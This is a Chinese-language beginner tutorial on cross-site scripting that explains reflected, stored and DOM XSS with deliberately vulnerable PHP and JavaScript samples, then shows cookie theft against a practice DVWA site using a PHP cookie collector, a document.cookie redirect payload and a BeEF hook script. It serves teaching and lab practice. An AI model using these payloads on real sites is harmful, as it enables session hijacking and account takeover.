[前端web安全]XSS漏洞基础入门
前言

XSS漏洞
Xss(Cross-Site Scripting)意为跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。XSS漏洞是一种在WEB应用中常见的安全漏洞,它孕育用户将恶意代码植入web页面,当其他用户访问此页面时,植入的恶意代码就会在其他用户的客户端中执行。
XSS漏洞的危害很多,可以通过XSS漏洞获取客户端信息(cookie),可以通过XSS蠕虫进行信息传播,可以再客户端中植入木马,可以结合其他漏洞攻击服务器,在服务器中植入木马
我们可以参考这张图的攻击场景,用户男发给用户女一段含有XSS攻击的代码,此时用户女触发后用户女的cookie数据传递给了用户男,此时用户男就可以利用这段cookie登陆用户女的账户。

XSS漏洞分类
xss漏洞分为三种分别为:反射型、存储型、DOM型
1.反射型
利用反射型XSS漏洞植入的恶意代码不会存储在服务器端,一般容易出现在搜索页面,需要构造植入恶意代码的web页面,诱骗受害者访问该页面,才能触发攻击。
测试代码:
<?php
if (isset($_GET['name'])) {
$name=$_GET['name'];
echo "<h1> Hello ".$name."<h1>";
}else{
exit();
}
?>
这段代码是接受用户get传进来的参数赋值给$name变量 打印到页面中 我们看到这段代码没有任何过滤 所以此时我们传入<script>alert("xiaohua")</script>
Payload: http://127.0.0.1/test.php?name=<script>alert("xiaohua")</script>
此时XSS漏洞触发 利用方法在最后面部分!

2.存储型
利用存储型XSS的恶意代码在服务器中,一般植入留言板、个人信息、文章发表等功能的页面中。如果页面对用户输入的数据过滤不严格,恶意用户将恶意代码存储到服务器中。这种类型的XSS漏洞危害非常严重,因为恶意代码会存储到服务器中,客户端每次访问服务器都会触发恶意代码


3.DOM型
DOM型XSS漏洞是基于文档对象模型(Document Object Model)的一种XSS漏洞
DOM参考这里: https://www.w3school.com.cn/htmldom/index.asp
示例代码:
<script type="text/javascript">
function domxss(){
var str=document.getElementById("input").value;
document.getElementById("output").innerHTML=str;
}
</script>
<h2 id="output"></h2>
<input type="text" id="input" value="">
<input type="button" value="submit" onclick="domxss()">
代码中domxss函数,此函数通过DOM将input节点的值作为变量赋予output节点
当输入xiaohua时,通过domxss函数会将output节点赋值为xiaohua
如果输入<img src=1 onerror=alert(/xiaohua2020/) />时通过domxss函数会将output节点赋值为<img src=1 onerror=alert(/xiaohua2020/) />页面会由于执行错误而出发弹窗
无法加载该图片,所以触发onerror函数。src属性可以填任意错误的路径。

XSS漏洞利用
1.例1-本地搭建页面盗取cookie
本地服务器创建cookie.php页面 输入此内容用于接收cookie传过来的值 存入cookie.txt折个文件
<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
打开榆林学院信息安全协会搭建的DVWA平台 选择XSS(Refilected) 反射型XSS页面在输入框输入<script>alert("xiaohua")</script>回车看到弹窗说明存在XSS漏洞
榆林学院信息安全协会DWVA平台平带地址:http://101.201.65.164/DVWA/

我们利用本地搭建的盗取cookie的页面进行构造:<script>document.location="http://127.0.0.1/lou/cookie.php?cookie="+document.cookie</script> 输入进去回车

查看本地获取cookie页面的根目录cookie.txt文件打开可以看到成功获取到了cookie

例2-利用BeEF盗取cookie
BeEF安装目录:/usr/share/beff-xss
默认管理页面:页面:http://127.0.0.1:3000/ui/panel 默认用户名密码都是beef
利用脚本<script src="http://127.0.0.1:3000/hook.js"></script>
反射型例子
填入访问即可获得coolie到beef客户端
DWVA是外网的架构在我们榆林学院信息安全协会训练平台的服务器上大家可以访问进行练习:
http://101.201.65.164/DVWA/login.php

成功盗取

推荐资料
资料:
XSS漏洞实例
链接:https://pan.baidu.com/s/1NcPQapMMjehMQSXrF3qH_g
提取码:hpoh
书:
《web前端黑客技术揭秘》
《XSS跨站脚本攻击剖析与防御》
[前端web安全]XSS漏洞基础入门的更多相关文章
- Web安全之Web 安全介绍与基础入门知识
web安全介绍与基础入门知识 安全与安全圈 甲方与乙方 甲方:如腾讯,阿里等需要安全服务的公司 乙方:提供安全服务产品的服务型安全公司 web与二进制 web,研究web安全 二进制,研究如客户端安全 ...
- XSS漏洞基础
什么是XSS? XSS全程Cross-site scripting,跨站脚本攻击.恶意攻击者往Web页面里插入html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用 ...
- Linux系统WEB服务之Nginx基础入门
一.Nginxi简介 Nginx是什么?它是一个开源.高性能的WEB服务器软件和代理服务器软件,由俄罗斯人Igor Sysoev 开发实现.它的功能主要分三类,第一是它作为一个WEB服务软件使用:第二 ...
- 阶段5 3.微服务项目【学成在线】_day02 CMS前端开发_03-vuejs研究-vuejs基础-入门程序
本次测试我们在门户目录中创建一个html页面进行测试,正式的页面管理前端程序会单独创建工程. 在门户目录中创建vuetest目录,并且在目录下创建vue_01.html文件 <!DOCTYPE ...
- WEB应用之httpd基础入门(二)
前文我们聊了下httpd的一些基础设置,聊了下httpd的配置文件格式,长连接.mpm的配置以及访问控制基于文件路径和URL管控,回顾请参考https://www.cnblogs.com/qiuhom ...
- WEB应用之httpd基础入门(四)
前文我们聊到了httpd的虚拟主机实现,状态页的实现,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/12570900.html:今天我们来聊一聊后面的常用基础配 ...
- WEB应用之httpd基础入门(一)
前文我们聊了下http协议web服务的一些常识和httpd服务器软件三种响应模型的简单介绍,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/12515075.ht ...
- WEB应用之httpd基础入门(五)
前文我们聊到了httpd的启动用户和相关权限的说明,资源压缩配置.https的实现,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/12593675.html:今 ...
- WEB应用之httpd基础入门(三)
前文我们聊到了httpd的路径别名.访问日志定义.basic认证配置,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/12561236.html:今天我们来聊一聊 ...
随机推荐
- JS对象的各种操作
对象由若干键值对组成 属性 都是为字符串类型,值 就可以为任意类型 var xiaoming= { name: '小明', 'school': 'No.1 School' }; 访问对象里面的属性,可 ...
- java 第五课 异常
1.为什么使用异常? 若没有异常处理机制,会使用流程控制语句if switch等来处理异常情况,程序复杂 2.捕捉异常try catch finally 3.方法中抛出异常throw(throw 可 ...
- spring cloud gateway整合sentinel作网关限流
说明: sentinel可以作为各微服务的限流,也可以作为gateway网关的限流组件. spring cloud gateway有限流功能,但此处用sentinel来作为替待. 说明:sentine ...
- 010_Java历史及特性
目录 Java历史 C语言 1972年 C++ 1982年 Java 1995年 Applet 图形界面的程序 J2SE Java 2 标准版 桌面 J2ME Java 2 移动版 手机 J2EE J ...
- MacOs/Liunx主机搭建windows平台双机调试环境
0x00 前言 本文的主要试用对象是Mac OS/Linux用户,对于想调试windows内核相关的一些东西时,需要搭建双机调试环境的一些记录.另外对于本机是windows的用户也完全试用,windo ...
- python爬虫使用xpath解析页面和提取数据
XPath解析页面和提取数据 一.简介 关注公众号"轻松学编程"了解更多. XPath即为XML路径语言,它是一种用来确定XML(标准通用标记语言的子集)文档中某部分位置的语言.X ...
- 《Clojure编程》笔记 第16章 Clojure与web
目录 背景简述 第16章 Clojure与web 16.1 术语 16.2 Clojure栈 16.3 基石:Ring 16.3.1 请求与应答 16.3.2 适配函数 16.3.3 处理函数 16. ...
- P5530 [BOI 2002]双调路径
题意描述 [BOI 2002]双调路径 题意描述的确实不是很清楚(出题人惜字如金). 给定一张有 \(n\) 个点,\(m\) 条边的无向图,每条边有两个权值,分别表示经过这个点的代价和时间. 同时给 ...
- SSM使用Ueditor
富文本编辑器(UEditor) 1. 下载UEditor富文本编辑器 建议下载 utf8-jsp 版本的,结构目录如下: 下载地址:链接:https://pan.baidu.com/s/1Nq0oJB ...
- 数据结构 - 二叉树的遍历(递归VS非递归)
import java.util.LinkedList; public class BinaryTree { public static void main(String[] args) { int ...